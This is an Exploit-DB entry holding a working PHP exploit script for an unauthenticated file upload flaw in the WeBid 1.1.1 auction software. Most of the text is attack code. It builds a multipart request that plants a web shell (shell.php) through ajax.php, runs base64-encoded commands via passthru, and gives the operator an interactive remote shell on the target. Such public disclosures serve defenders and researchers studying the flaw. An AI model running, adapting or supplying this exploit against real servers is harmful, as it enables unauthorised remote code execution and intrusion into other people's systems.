Exploit-DB #36155
Description: WeBid 1.1.1 - Unrestricted Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-02-23
Author: CWH Underground

Exploit:
<?php
  
/*
  
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /       
  / XXXXXX /
 (________(         
  `------'
   
 Exploit Title   : WeBid 1.1.1 Unrestricted File Upload Exploit
 Date            : 20 February 2015
 Exploit Author  : CWH Underground
 Site            : www.2600.in.th
 Vendor Homepage : http://www.webidsupport.com/
 Software Link   : http://sourceforge.net/projects/simpleauction/files/simpleauction/WeBid%20v1.1.1/WeBid-1.1.1.zip/download
 Version         : 1.1.1
 Tested on       : Window and Linux
   
   
#####################################################
VULNERABILITY: Arbitrary File Upload Vulnerability
#####################################################
   
/ajax.php
/inc/plupload/examples/upload.php
  
#####################################################
DESCRIPTION
#####################################################
   
This exploit a file upload vulnerability found in WeBid 1.1.1, and possibly prior. Attackers can abuse the 
upload feature in order to upload a malicious PHP file without authentication, which results in arbitrary remote code execution.
  
#####################################################
EXPLOIT
#####################################################
   
*/
  
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
  
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");
   
    fputs($sock, $packet);
    return stream_get_contents($sock);
}
  
print "\n+----------------------------------------+";
print "\n| WeBid Unrestricted File Upload Exploit |";
print "\n+----------------------------------------+\n";
   
if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /WeBid/\n";
    die();
}
  
$host = $argv[1];
$path = $argv[2];
   
$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"name\"\r\n\r\n";
$payload .= "shell.php\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\n";
$payload .= "Content-Type: application/octet-stream\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet  = "POST {$path}ajax.php?do=uploadaucimages HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Cookie: PHPSESSID=cwh"."\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

print "\n\nExploiting...";
sleep(2);
print "Waiting for shell...\n";
sleep(2);

http_send($host, $packet);
  
$packet  = "GET {$path}uploaded/cwh/shell.php HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

   print "\n  ,--^----------,--------,-----,-------^--,   \n";
   print "  | |||||||||   `--------'     |          O   \n";
   print "  `+---------------------------^----------|   \n";
   print "    `\_,-------, _________________________|   \n";
   print "      / XXXXXX /`|     /                      \n";
   print "     / XXXXXX /  `\   /                       \n";
   print "    / XXXXXX /\______(                        \n";
   print "   / XXXXXX /                                 \n";
   print "  / XXXXXX /   .. CWH Underground Hacking Team ..  \n";
   print " (________(                                   \n";
   print "  `------'                                    \n";
      
while(1)
{
    print "\nWebid-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

################################################################################################################
# Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
?>